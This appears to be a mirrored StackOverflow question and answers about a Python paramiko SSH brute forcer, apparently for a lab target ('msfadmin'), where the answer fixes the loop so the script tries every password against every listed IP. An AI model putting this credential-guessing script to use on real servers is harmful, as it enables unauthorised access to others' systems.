Question

I've been coding a small SSH brute forcer, to understand the paramiko module. However while going through the text file to see each password it is only testing out the last password in the text file. Am I using the correct loop? How would I use the for loop in this situation then?

import paramiko

UserName = 'msfadmin'
pass_file = 'pass.txt'
ip_file = 'ip.txt'
port = 22
Found = 0

pwd = open(pass_file, "r")
ips = open(ip_file, "r")

    def attempt():
        ssh = paramiko.SSHClient()
        ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())

        for line in ips.readlines():
            ip = line.strip()
        for line2 in pwd.readlines():
            Passwords = line2.strip()

        while Found != 5:
            global UserName
            global port
            try:
                ssh.connect(ip, port, username=UserName, password=Passwords)
            except paramiko.AuthenticationException:
                print '[-] %s:%s fail!' % (UserName, Passwords)
            else:
                print '[!] %s:%s is CORRECT!' % (UserName, Passwords)
Was it helpful?

Solution

for line in ips.readlines():
    ip = line.strip()
for line2 in pwd.readlines():
    Passwords = line2.strip()

You are getting each and every line and replace the previous value in ip and passwords with the currently read value. Instead, if the number of ips and passwords are relatively smaller, you can do

count = 0
for ip in ips:
    for pwd in open(pass_file, "r"):
        try:
            ssh.connect(ip, port, username=UserName, password=pwd)
        except paramiko.AuthenticationException:
            print '[-] %s:%s fail!' % (UserName, pwd)
        else:
            print '[!] %s:%s is CORRECT for IP %s!' % (UserName, pwd, ip)
            count += 1
            if count == 5:
                return

OTHER TIPS

Your two for loops simply iterate through each object and update the ip and Password variables each time, so that when they have finished the variables refer to the last values from the loop.

However it's not at all clear what you are trying to do with those variables, so I can't tell you how to fix it. Did you want to run the rest of the script once for each iteration? Or did you want to create a list of all the elements, then iterate through that?

Licensed under: CC-BY-SA with attribution
Not affiliated with StackOverflow
scroll top